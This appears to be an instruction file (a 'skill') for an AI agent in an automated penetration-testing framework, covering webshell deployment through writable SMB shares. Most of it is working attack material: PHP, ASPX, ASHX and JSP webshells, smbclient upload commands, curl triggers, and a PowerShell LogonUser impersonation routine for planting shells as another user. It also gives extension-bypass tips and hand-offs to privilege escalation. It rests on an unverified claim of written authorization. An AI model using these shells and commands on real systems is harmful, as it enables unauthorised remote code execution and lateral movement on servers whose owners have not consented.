Smb Share Webshell

SMB Share Webshell Deployment

You are helping a penetration tester deploy webshells to web server document roots via SMB share write access. The target has a file share that maps to a web-accessible directory (IIS, Apache, XAMPP, Tomcat). The goal is to write a webshell via SMB and trigger it via HTTP for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [smb-share-webshell] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., smb-webshell-rce.txt).

Scope Boundary

This skill covers writing webshells via SMB and achieving initial code execution through them. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Tool Requirements (Local-Only)

NEVER download, clone, install, or build tools. The operator's attackbox has a curated toolset — do not modify it.

If a tool required by this skill is not installed:

1. STOP immediately — do not attempt workarounds or alternative tools
2. Return to the orchestrator with: which tool is missing, what it's needed for, and the install command for the operator

Check if a tool exists before reporting it missing:

which <tool> 2>/dev/null || find /opt /usr/share /usr/local ~/.local/bin \
    -name '<tool>' -type f 2>/dev/null | head -3

Tools provided via MCP (nmap, shell-server commands) and tools inside the red-run Docker containers (evil-winrm, impacket, Responder, etc.) are always available — do not check for these.

Prerequisites

• Valid domain credentials for a user with write access to an SMB share that maps to a web server document root
• The web server must be reachable via HTTP/HTTPS to trigger the webshell
• Knowledge of the web server technology (IIS → ASPX, Apache/XAMPP → PHP, Tomcat → JSP)

Special characters in credentials

Bash history expansion treats ! as a special character. Passwords containing !, $, backticks, or other shell metacharacters will be silently mangled.

Canonical workaround — write to file, read from file:

# Use the Write tool to create a password file
Write("/tmp/claude-1000/cred.txt", "P@ssw0rd!")

# Read into variable
PASS=$(cat /tmp/claude-1000/cred.txt)

# Use in smbclient
smbclient "//TARGET/ShareName" -U 'DOMAIN\user' --password="$PASS"

Step 1: Assess — Identify Writable Web Shares

If the orchestrator has already identified the writable share and web technology, skip to Step 2.

List shares and check access

# List shares with authentication
nxc smb TARGET -u 'user' -p 'password' -d DOMAIN --shares

# Look for shares named: Web, wwwroot, inetpub, htdocs, webroot, www, html
# READ,WRITE access = potential web root

Confirm share maps to web root

# Connect and look for web files
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c 'ls'

# Look for: index.php, index.html, web.config, .htaccess, default.aspx
# Subdirectories matching vhosts (e.g., app.example.com/)

Identify web technology

Step 2: Write Webshell via SMB

PHP webshell

# Minimal PHP command shell
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/claude-1000/shell.php

# Upload via smbclient
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
  'put /tmp/claude-1000/shell.php shell.php'

# If the share has subdirectories per vhost:
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
  'cd site.target.htb; put /tmp/claude-1000/shell.php shell.php'

ASPX webshell

# Minimal ASPX command shell (IIS)
cat > /tmp/claude-1000/shell.aspx << 'ASPX'
<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>
ASPX

smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
  'put /tmp/claude-1000/shell.aspx shell.aspx'

ASHX webshell (IIS generic handler)

Use when ASPX returns 500 errors (handler restrictions, .NET version mismatch). ASHX generic handlers bypass many IIS restrictions that block ASPX pages.

# Minimal ASHX command shell
cat > /tmp/claude-1000/shell.ashx << 'ASHX'
<%@ WebHandler Language="C#" Class="H" %>
using System;using System.Web;using System.Diagnostics;
public class H:IHttpHandler{public void ProcessRequest(HttpContext c){c.Response.Write(Process.Start(new ProcessStartInfo("cmd","/c "+c.Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}).StandardOutput.ReadToEnd());}public bool IsReusable{get{return false;}}}
ASHX

smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
  'put /tmp/claude-1000/shell.ashx shell.ashx'

# Trigger: curl -s "http://TARGET/shell.ashx?c=whoami"

JSP webshell

# Minimal JSP command shell (Tomcat)
cat > /tmp/claude-1000/shell.jsp << 'JSP'
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
JSP

# Better — with output:
cat > /tmp/claude-1000/shell.jsp << 'JSP'
<%@ page import="java.io.*" %><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null)out.println(l);%>
JSP

smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
  'put /tmp/claude-1000/shell.jsp shell.jsp'

Step 3: Trigger Webshell via HTTP

# PHP
curl -s "http://TARGET/shell.php?cmd=whoami"
curl -s "http://site.target.htb/shell.php?cmd=whoami"

# ASPX
curl -s "http://TARGET/shell.aspx?c=whoami"

# JSP
curl -s "http://TARGET/shell.jsp?cmd=whoami"

If the webshell responds with the service account name (e.g., nt authority\local service, domain\svc_web, www-data), you have RCE. Proceed to Step 4.

If the webshell returns empty or 404:

• Verify the share path maps to the web root (check subdirectories)
• Check if the web server serves from a vhost subdirectory
• Try both HTTP and HTTPS
• Check if the file extension is blocked by the web server config

Step 4: Establish Reverse Shell

Step 5: Same-Host Lateral Movement via .NET Impersonation

When you have a shell as one service account (e.g., svc_apache) but need to write files as a different user (e.g., deploy to an IIS site writable by C.Bum), use .NET impersonation from the existing shell.

Discover internal web sites

:: Check for IIS sites
dir C:\inetpub\
netstat -ano | findstr :80
netstat -ano | findstr :8080
netstat -ano | findstr LISTENING

:: Check IIS bindings
%windir%\system32\inetsrv\appcmd list site
%windir%\system32\inetsrv\appcmd list app

Write as another user via PowerShell + .NET impersonation

When you have credentials for a user who can write to a directory your current account cannot, use LogonUser + WindowsImpersonationContext:

# Impersonate C.Bum to write an ASPX webshell to IIS dev site
$code = @'
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class Impersonator {
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool LogonUser(string lpszUsername, string lpszDomain,
        string lpszPassword, int dwLogonType, int dwLogonProvider,
        out IntPtr phToken);
    public static void WriteAs(string domain, string user, string pass,
        string path, string content) {
        IntPtr token;
        LogonUser(user, domain, pass, 2, 0, out token);
        using(WindowsImpersonationContext ctx =
            WindowsIdentity.Impersonate(token)) {
            System.IO.File.WriteAllText(path, content);
        }
    }
}
'@
Add-Type -TypeDefinition $code

# Deploy ASPX webshell
$shell = '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>'
[Impersonator]::WriteAs("DOMAIN", "Username", "Password", "C:\inetpub\development\shell.aspx", $shell)

Trigger the internal webshell

:: From the existing shell, curl the internal site
curl http://localhost:8000/shell.aspx?c=whoami
powershell -c "(New-Object Net.WebClient).DownloadString('http://localhost:8000/shell.aspx?c=whoami')"

If the IIS AppPool runs with SeImpersonatePrivilege, catch a reverse shell from it and report to the orchestrator for privilege escalation routing.

Step 6: Escalate or Pivot

After achieving RCE through the webshell:

• Service account with SeImpersonate: STOP. Return to orchestrator recommending windows-token-impersonation. Pass: session ID, service account name, confirmed privileges.
• Linux web server shell: STOP. Return to orchestrator recommending linux-discovery. Pass: session ID, user context, target IP.
• Windows web server shell: STOP. Return to orchestrator recommending windows-discovery. Pass: session ID, user context, OS version.
• Found internal sites or additional writable directories: Note them in your return summary. The orchestrator will decide whether to deploy additional webshells.
• Found credentials (in config files, web.config, connection strings): Report them in your return summary for the orchestrator to record and test.

When routing, always pass along: target IP, current user, shell session ID, web technology, and any additional writable paths discovered.

Troubleshooting

smbclient "NT_STATUS_ACCESS_DENIED"

• Verify credentials: nxc smb TARGET -u user -p pass -d DOMAIN
• Check share permissions: nxc smb TARGET -u user -p pass --shares
• The user may have read-only access — try a different share or user

Webshell uploads but returns 404

• Share may not map to the web root — look for subdirectories
• Try vhost-specific paths: cd site.target.htb; put shell.php
• Check if the web server uses a different document root

Webshell uploads but returns 403

• Web server may block the extension — try .phtml, .php5, .phar for PHP
• IIS may have handler restrictions — try .ashx or .asmx instead of .aspx
• Escalate for comprehensive extension bypass methodology

PowerShell .NET impersonation fails with "Access denied"

• LogonUser requires the target user to have "Allow log on locally" right
• Try dwLogonType=9 (LOGON32_LOGON_NEW_CREDENTIALS) for network-only impersonation
• Verify credentials independently: net use \\localhost\C$ /user:DOMAIN\user PASSWORD

Internal site not accessible from existing shell

• Check firewall: netsh advfirewall firewall show rule name=all | findstr 8000
• Verify the site is running: netstat -ano | findstr :8000
• Try 127.0.0.1 instead of localhost